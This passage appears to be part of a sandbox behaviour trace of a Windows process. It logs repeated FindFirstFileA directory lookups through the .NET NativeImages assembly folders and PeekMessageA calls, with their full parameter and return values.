lpFileName="C:\\Windows\\assembly\\NativeImages_v4.0.30319_32\\System.Web\\dbeb15331950675213640f2f0e7a97d2\\*.*", lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xaf4de1e0, ftCreationTime.dwHighDateTime=0x1d2e676, ftLastAccessTime.dwLowDateTime=0xaf4de1e0, ftLastAccessTime.dwHighDateTime=0x1d2e676, ftLastWriteTime.dwLowDateTime=0xaf4de1e0, ftLastWriteTime.dwHighDateTime=0x1d2e676, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x52d540, dwReserved1=0x1000, cFileName=".", cAlternateFileName="")) returned 0x502618 [0114.194] PeekMessageA (in: lpMsg=0x18f784, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f784) returned 0 [0114.197] PeekMessageA (in: lpMsg=0x18f784, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f784) returned 0 [0114.197] FindFirstFileA (in: lpFileName="C:\\Windows\\assembly\\NativeImages_v4.0.30319_32\\System.Web.1586a486#\\*.*", lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x281e86f0, ftCreationTime.dwHighDateTime=0x1d2faf0, ftLastAccessTime.dwLowDateTime=0x281e86f0, ftLastAccessTime.dwHighDateTime=0x1d2faf0, ftLastWriteTime.dwLowDateTime=0x281e86f0, ftLastWriteTime.dwHighDateTime=0x1d2faf0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x76c5023c, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x502598 [0114.199] FindFirstFileA (in: lpFileName="C:\\Windows\\assembly\\NativeImages_v4.0.30319_32\\System.Web.1586a486#\\20ef9309c334a7adfdf5f0a2dc70e91c\\*.*", lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x281e86f0, ftCreationTime.dwHighDateTime=0x1d2faf0, ftLastAccessTime.dwLowDateTime=0x281e86f0, ftLastAccessTime.dwHighDateTime=0x1d2faf0, ftLastWriteTime.dwLowDateTime=0x281e86f0, ftLastWriteTime.dwHighDateTime=0x1d2faf0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x52d540, dwReserved1=0x1000, cFileName=".", cAlternateFileName="")) returned 0x502618 [0114.201] PeekMessageA (in: lpMsg=0x18f784, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f784) returned 0 [0114.203] PeekMessageA (in: lpMsg=0x18f784, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f784) returned 0 [0114.204] FindFirstFileA (in: lpFileName="C:\\Windows\\assembly\\NativeImages_v4.0.30319_32\\System.Web.188dd00b#\\*.*", lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x261c5df0, ftCreationTime.dwHighDateTime=0x1d2faf0, ftLastAccessTime.dwLowDateTime=0x261c5df0, ftLastAccessTime.dwHighDateTime=0x1d2faf0, ftLastWriteTime.dwLowDateTime=0x261c5df0, ftLastWriteTime.dwHighDateTime=0x1d2faf0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x76c5023c, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x502598 [0114.205] FindFirstFileA (in: lpFileName="C:\\Windows\\assembly\\NativeImages_v4.0.30319_32\\System.Web.188dd00b#\\7d5d90edb7523c9a8252c7c5f07559a1\\*.*", lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x261c5df0, ftCreationTime.dwHighDateTime=0x1d2faf0, ftLastAccessTime.dwLowDateTime=0x261c5df0, ftLastAccessTime.dwHighDateTime=0x1d2faf0, ftLastWriteTime.dwLowDateTime=0x261c5df0, ftLastWriteTime.dwHighDateTime=0x1d2faf0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x52d540, dwReserved1=0x1000, cFileName=".", cAlternateFileName="")) returned 0x502618 [0114.208] PeekMessageA (in: lpMsg=0x18f784, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f784) returned 0 [0114.211] PeekMessageA (in: lpMsg=0x18f784, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f784) returned 0 [0114.211] FindFirstFileA (in: lpFileName="C:\\Windows\\assembly\\NativeImages_v4.0.30319_32\\System.Web.2486c0f5#\\*.*", lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x28d10e10, ftCreationTime.dwHighDateTime=0x1d2faf0, ftLastAccessTime.dwLowDateTime=0x28d10e10, ftLastAccessTime.dwHighDateTime=0x1d2faf0, ftLastWriteTime.dwLowDateTime=0x28d10e10, ftLastWriteTime.dwHighDateTime=0x1d2faf0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x76c5023c, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x502598 [0114.213] FindFirstFileA (in: lpFileName="C:\\Windows\\assembly\\NativeImages_v4.0.30319_32\\System.Web.2486c0f5#\\4ce8321601ff5f7195ce945b886ee277\\*.*", lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x28d10e10, ftCreationTime.dwHighDateTime=0x1d2faf0, ftLastAccessTime.dwLowDateTime=0x28d10e10, ftLastAccessTime.dwHighDateTime=0x1d2faf0, ftLastWriteTime.dwLowDateTime=0x28d10e10, ftLastWriteTime.dwHighDateTime=0x1d2faf0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x52d540, dwReserved1=0x1000, cFileName=".", cAlternateFileName="")) returned 0x502618 [0114.216] PeekMessageA (in: lpMsg=0x18f784, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f784) returned 0 [0114.217] PeekMessageA (in: lpMsg=0x18f784, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f784) returned 0 [0114.218] FindFirstFileA (in: lpFileName="C:\\Windows\\assembly\\NativeImages_v4.0.30319_32\\System.Web.28b9ef5a#\\*.*", lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x204a4130, ftCreationTime.dwHighDateTime=0x1d2faf0, ftLastAccessTime.dwLowDateTime=0x204a4130, ftLastAccessTime.dwHighDateTime=0x1d2faf0, ftLastWriteTime.dwLowDateTime=0x204a4130, ftLastWriteTime.dwHighDateTime=0x1d2faf0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x76c5023c, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x502598 [0114.219] FindFirstFileA (in: lpFileName="C:\\Windows\\assembly\\NativeImages_v4.0.30319_32\\System.Web.28b9ef5a#\\20a2a7430bccb50545e026d6d9831e60\\*.*", lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x204a4130, ftCreationTime.dwHighDateTime=0x1d2faf0, ftLastAccessTime.dwLowDateTime=0x204a4130, ftLastAccessTime.dwHighDateTime=0x1d2faf0, ftLastWriteTime.dwLowDateTime=0x204a4130, ftLastWriteTime.dwHighDateTime=0x1d2faf0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x52d540, dwReserved1=0x1000, cFileName=".", cAlternateFileName="")) returned 0x502618 [0114.223] PeekMessageA (in: lpMsg=0x18f784, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f784) returned 0 [0114.235] PeekMessageA (in: lpMsg=0x18f784, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f784) returned 0 [0114.237] FindFirstFileA (in: lpFileName="C:\\Windows\\assembly\\NativeImages_v4.0.30319_32\\System.Web.4961ff77#\\*.*", lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x298ab950, ftCreationTime.dwHighDateTime=0x1d2faf0, ftLastAccessTime.dwLowDateTime=0x298ab950, ftLastAccessTime.dwHighDateTime=0x1d2faf0, ftLastWriteTime.dwLowDateTime=0x298ab950, ftLastWriteTime.dwHighDateTime=0x1d2faf0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x76c5023c, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x502598 [0114.239] FindFirstFileA (in: lpFileName="C:\\Windows\\assembly\\NativeImages_v4.0.30319_32\\System.Web.4961ff77#\\a87b5a3d4dd09e6ced2af7f744d6b737\\*.*", lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x298ab950, ftCreationTime.dwHighDateTime=0x1d2faf0, ftLastAccessTime.dwLowDateTime=0x298ab950, ftLastAccessTime.dwHighDateTime=0x1d2faf0, ftLastWriteTime.dwLowDateTime=0x298ab950, ftLastWriteTime.dwHighDateTime=0x1d2faf0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x52d540, dwReserved1=0x1000, cFileName=".", cAlternateFileName="")) returned 0x502618 [0114.241] PeekMessageA (in: lpMsg=0x18f784, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f784) returned 0 [0114.247] PeekMessageA (in: lpMsg=0x18f784, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f784) returned 0 [0114.247] FindFirstFileA (in: lpFileName="C:\\Windows\\assembly\\NativeImages_v4.0.30319_32\\System.Web.82d5542b#\\*.*", lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x2263e860, ftCreationTime.dwHighDateTime=0x1d2e676, ftLastAccessTime.dwLowDateTime=0xb1e862e0, ftLastAccessTime.dwHighDateTime=0x1d2e676, ftLastWriteTime.dwLowDateTime=0xb1e862e0, ftLastWriteTime.dwHighDateTime=0x1d2e676, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x76c5023c, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x502598 [0114.248] FindFirstFileA (in: lpFileName="C:\\Windows\\assembly\\NativeImages_v4.0.30319_32\\System.Web.82d5542b#\\d98ddca3576dc8cff32e7d5e22602525\\*.*", lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xaf97ac80, ftCreationTime.dwHighDateTime=0x1d2e676, ftLastAccessTime.dwLowDateTime=0xaf97ac80, ftLastAccessTime.dwHighDateTime=0x1d2e676, ftLastWriteTime.dwLowDateTime=0xaf97ac80, ftLastWriteTime.dwHighDateTime=0x1d2e676, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x52d540, dwReserved1=0x1000, cFileName=".", cAlternateFileName="")) returned 0x502618 [0114.255] PeekMessageA (in: lpMsg=0x18f784, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f784) returned 0 [0114.258] PeekMessageA (in: lpMsg=0x18f784, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f784) returned 0 [0114.258] FindFirstFileA (in: lpFileName="C:\\Windows\\assembly\\NativeImages_v4.0.30319_32\\System.Web.8da3333a#\\*.*", lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x2796d890, ftCreationTime.dwHighDateTime=0x1d2faf0, ftLastAccessTime.dwLowDateTime=0x2796d890, ftLastAccessTime.dwHighDateTime=0x1d2faf0, ftLastWriteTime.dwLowDateTime=0x2796d890, ftLastWriteTime.dwHighDateTime=0x1d2faf0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x76c5023c, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x502598 [0114.260] FindFirstFileA (in: lpFileName="C:\\Windows\\assembly\\NativeImages_v4.0.30319_32\\System.Web.8da3333a#\\1ca64255b26c7a08a74dc79484862c33\\*.*", lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x2796d890, ftCreationTime.dwHighDateTime=0x1d2faf0, ftLastAccessTime.dwLowDateTime=0x279b9b50, ftLastAccessTime.dwHighDateTime=0x1d2faf0, ftLastWriteTime.dwLowDateTime=0x279b9b50, ftLastWriteTime.dwHighDateTime=0x1d2faf0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x52d540, dwReserved1=0x1000, cFileName=".", cAlternateFileName="")) returned 0x502618 [0114.263] PeekMessageA (in: lpMsg=0x18f784, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f784) returned 0 [0114.265] PeekMessageA (in: lpMsg=0x18f784, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f784) returned 0 [0114.266] FindFirstFileA (in: lpFileName="C:\\Windows\\assembly\\NativeImages_v4.0.30319_32\\System.Web.8dc504e4#\\*.*", lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x215e1120, ftCreationTime.dwHighDateTime=0x1d2e676, ftLastAccessTime.dwLowDateTime=0xb20e78e0, ftLastAccessTime.dwHighDateTime=0x1d2e676, ftLastWriteTime.dwLowDateTime=0xb20e78e0, ftLastWriteTime.dwHighDateTime=0x1d2e676, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x76c5023c, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x502598 [0114.281] FindFirstFileA (in: lpFileName="C:\\Windows\\assembly\\NativeImages_v4.0.30319_32\\System.Web.8dc504e4#\\ff18b49ce3568cc4f5f5f9290d6c052f\\*.*", lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xafe3d880, ftCreationTime.dwHighDateTime=0x1d2e676, ftLastAccessTime.dwLowDateTime=0xafe3d880, ftLastAccessTime.dwHighDateTime=0x1d2e676, ftLastWriteTime.dwLowDateTime=0xafe3d880, ftLastWriteTime.dwHighDateTime=0x1d2e676, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x52d540, dwReserved1=0x1000, cFileName=".", cAlternateFileName="")) returned 0x502618 [0114.285] PeekMessageA (in: lpMsg=0x18f784, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f784) returned 0 [0114.288] PeekMessageA (in: lpMsg=0x18f784, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f784) returned 0 [0114.288] FindFirstFileA (in: lpFileName="C:\\Windows\\assembly\\NativeImages_v4.0.30319_32\\System.Web.9c7998a9#\\*.*", lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x2926bf90, ftCreationTime.dwHighDateTime=0x1d2faf0, ftLastAccessTime.dwLowDateTime=0x2926bf90, ftLastAccessTime.dwHighDateTime=0x1d2faf0, ftLastWriteTime.dwLowDateTime=0x2926bf90, ftLastWriteTime.dwHighDateTime=0x1d2faf0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x76c5023c, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x502598 [0114.293] FindFirstFileA (in: lpFileName="C:\\Windows\\assembly\\NativeImages_v4.0.30319_32\\System.Web.9c7998a9#\\81dcd715ecf4991482feac97c34e9200\\*.*", lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x2926bf90, ftCreationTime.dwHighDateTime=0x1d2faf0, ftLastAccessTime.dwLowDateTime=0x2926bf90, ftLastAccessTime.dwHighDateTime=0x1d2faf0, ftLastWriteTime.dwLowDateTime=0x2926bf90, ftLastWriteTime.dwHighDateTime=0x1d2faf0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x52d540, dwReserved1=0x1000, cFileName=".", cAlternateFileName="")) returned 0x502618 [0114.295] PeekMessageA (in: lpMsg=0x18f784, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f784) returned 0 [0114.297] PeekMessageA (in: lpMsg=0x18f784, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f784) returned 0 [0114.298] FindFirstFileA (in: lpFileName="C:\\Windows\\assembly\\NativeImages_v4.0.30319_32\\System.Web.dc83ace6#\\*.*", lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x2a3fa1d0, ftCreationTime.dwHighDateTime=0x1d2faf0, ftLastAccessTime.dwLowDateTime=0x2a3fa1d0, ftLastAccessTime.dwHighDateTime=0x1d2faf0, ftLastWriteTime.dwLowDateTime=0x2a3fa1d0, ftLastWriteTime.dwHighDateTime=0x1d2faf0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x76c5023c, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x502598 [0114.304] FindFirstFileA (in: lpFileName="C:\\Windows\\assembly\\NativeImages_v4.0.30319_32\\System.Web.dc83ace6#\\22b4ee0b80f0a33b6718c3150c7543bf\\*.*", lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x2a3fa1d0, ftCreationTime.dwHighDateTime=0x1d2faf0, ftLastAccessTime.dwLowDateTime=0x2a3fa1d0, ftLastAccessTime.dwHighDateTime=0x1d2faf0, ftLastWriteTime.dwLowDateTime=0x2a3fa1d0, ftLastWriteTime.dwHighDateTime=0x1d2faf0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x52d540, dwReserved1=0x1000, cFileName=".", cAlternateFileName="")) returned 0x502618 [0114.317] PeekMessageA (in: lpMsg=0x18f784, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f784) returned 0 [0114.319] PeekMessageA (in: lpMsg=0x18f784, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f784) returned 0 [0114.319] FindFirstFileA (in: lpFileName="C:\\Windows\\assembly\\NativeImages_v4.0.30319_32\\System.Web.Entity\\*.*", lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x290c9070, ftCreationTime.dwHighDateTime=0x1d2faf0, ftLastAccessTime.dwLowDateTime=0x290c9070, ftLastAccessTime.dwHighDateTime=0x1d2faf0, ftLastWriteTime.dwLowDateTime=0x290c9070, ftLastWriteTime.dwHighDateTime=0x1d2faf0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x76c5023c, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x502598 [0114.321] FindFirstFileA (in: lpFileName="C:\\Windows\\assembly\\NativeImages_v4.0.30319_32\\System.Web.Entity\\fc6a6f4dc871f2da350a860f6bc81db3\\*.*", lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x290c9070, ftCreationTime.dwHighDateTime=0x1d2faf0, ftLastAccessTime.dwLowDateTime=0x290c9070, ftLastAccessTime.dwHighDateTime=0x1d2faf0, ftLastWriteTime.dwLowDateTime=0x290c9070, ftLastWriteTime.dwHighDateTime=0x1d2faf0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x52d540, dwReserved1=0x1000, cFileName=".", cAlternateFileName="")) returned 0x502618 [0114.321] PeekMessageA (in: lpMsg=0x18f784, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f784) returned 0 [0114.325] PeekMessageA (in: lpMsg=0x18f784, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f784) returned 0 [0114.325] FindFirstFileA (in: lpFileName="C:\\Windows\\assembly\\NativeImages_v4.0.30319_32\\System.Web.Mobile\\*.*", lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x2b2425d0, ftCreationTime.dwHighDateTime=0x1d2faf0, ftLastAccessTime.dwLowDateTime=0x2b2425d0, ftLastAccessTime.dwHighDateTime=0x1d2faf0, ftLastWriteTime.dwLowDateTime=0x2b2425d0, ftLastWriteTime.dwHighDateTime=0x1d2faf0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x76c5023c, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x502598 [0114.327] FindFirstFileA (in: lpFileName="C:\\Windows\\assembly\\NativeImages_v4.0.30319_32\\System.Web.Mobile\\8f4f1091c2b4dbd04466b13a652a3d20\\*.*", lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x2b2425d0, ftCreationTime.dwHighDateTime=0x1d2faf0, ftLastAccessTime.dwLowDateTime=0x2b2425d0, ftLastAccessTime.dwHighDateTime=0x1d2faf0, ftLastWriteTime.dwLowDateTime=0x2b2425d0, ftLastWriteTime.dwHighDateTime=0x1d2faf0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x52d540, dwReserved1=0x1000, cFileName=".", cAlternateFileName="")) returned 0x502618 [0114.327] PeekMessageA (in: lpMsg=0x18f784, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f784) returned 0 [0114.331] PeekMessageA (in: lpMsg=0x18f784, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f784) returned 0 [0114.331] FindFirstFileA (in: lpFileName="C:\\Windows\\assembly\\NativeImages_v4.0.30319_32\\System.Web.Routing\\*.*", lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x2b3bf390, ftCreationTime.dwHighDateTime=0x1d2faf0, ftLastAccessTime.dwLowDateTime=0x2b3bf390, ftLastAccessTime.dwHighDateTime=0x1d2faf0, ftLastWriteTime.dwLowDateTime=0x2b3bf390, ftLastWriteTime.dwHighDateTime=0x1d2faf0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x76c5023c, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x502598 [0114.333] FindFirstFileA (in: lpFileName="C:\\Windows\\assembly\\NativeImages_v4.0.30319_32\\System.Web.Routing\\c84f5bf4c4529f5e3af9ce548aaf1fe7\\*.*", lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x2b3bf390, ftCreationTime.dwHighDateTime=0x1d2faf0, ftLastAccessTime.dwLowDateTime=0x2b3bf390, ftLastAccessTime.dwHighDateTime=0x1d2faf0, ftLastWriteTime.dwLowDateTime=0x2b3bf390, ftLastWriteTime.dwHighDateTime=0x1d2faf0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x52d540, dwReserved1=0x1000, cFileName=".", cAlternateFileName="")) returned 0x502618 [0114.333] PeekMessageA (in: lpMsg=0x18f784, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f784) returned 0 [0114.337] PeekMessageA (in: lpMsg=0x18f784, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f784) returned 0 [0114.337] FindFirstFileA (in: lpFileName="C:\\Windows\\assembly\\NativeImages_v4.0.30319_32\\System.Web.Services\\*.*", lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x21bae6c0, ftCreationTime.dwHighDateTime=0x1d2e676, ftLastAccessTime.dwLowDateTime=0xb20754c0, ftLastAccessTime.dwHighDateTime=0x1d2e676, ftLastWriteTime.dwLowDateTime=0xb20754c0, ftLastWriteTime.dwHighDateTime=0x1d2e676, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x76c5023c, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x502598 [0114.338] FindFirstFileA (in: lpFileName="C:\\Windows\\assembly\\NativeImages_v4.0.30319_32\\System.Web.Services\\bbf3231254fdd25e098b50eb864c4198\\*.*", lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa132dc00, ftCreationTime.dwHighDateTime=0x1d2e676, ftLastAccessTime.dwLowDateTime=0xa132dc00, ftLastAccessTime.dwHighDateTime=0x1d2e676, ftLastWriteTime.dwLowDateTime=0xa132dc00, ftLastWriteTime.dwHighDateTime=0x1d2e676, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x52d540, dwReserved1=0x1000, cFileName=".", cAlternateFileName="")) returned 0x502618 [0114.339] PeekMessageA (in: lpMsg=0x18f784, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f784) returned 0 [0114.343] PeekMessageA (in: lpMsg=0x18f784, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f784) returned 0 [0114.343] FindFirstFileA (in: lpFileName="C:\\Windows\\assembly\\NativeImages_v4.0.30319_32\\System.Wind0de890be#\\*.*", lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x2dd8d5f0, ftCreationTime.dwHighDateTime=0x1d2faf0, ftLastAccessTime.dwLowDateTime=0x2dd8d5f0, ftLastAccessTime.dwHighDateTime=0x1d2faf0, ftLastWriteTime.dwLowDateTime=0x2dd8d5f0, ftLastWriteTime.dwHighDateTime=0x1d2faf0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x76c5023c, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x502598 [0114.345] FindFirstFileA (in: lpFileName="C:\\Windows\\assembly\\NativeImages_v4.0.30319_32\\System.Wind0de890be#\\23fec72a12f8de4a40a28c6c75428000\\*.*", lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x2dd8d5f0, ftCreationTime.dwHighDateTime=0x1d2faf0, ftLastAccessTime.dwLowDateTime=0x2ddb3750, ftLastAccessTime.dwHighDateTime=0x1d2faf0, ftLastWriteTime.dwLowDateTime=0x2ddb3750, ftLastWriteTime.dwHighDateTime=0x1d2faf0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x52d540, dwReserved1=0x1000, cFileName=".", cAlternateFileName="")) returned 0x502618 [0114.348] PeekMessageA (in: lpMsg=0x18f784, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f784) returned 0 [0114.350] PeekMessageA (in: lpMsg=0x18f784, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f784) returned 0 [0114.350] FindFirstFileA (in: lpFileName="C:\\Windows\\assembly\\NativeImages_v4.0.30319_32\\System.Wind412bbddf#\\*.*", lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x2bfcc2f0, ftCreationTime.dwHighDateTime=0x1d2faf0, ftLastAccessTime.dwLowDateTime=0x2bfcc2f0, ftLastAccessTime.dwHighDateTime=0x1d2faf0, ftLastWriteTime.dwLowDateTime=0x2bfcc2f0, ftLastWriteTime.dwHighDateTime=0x1d2faf0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x76c5023c, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 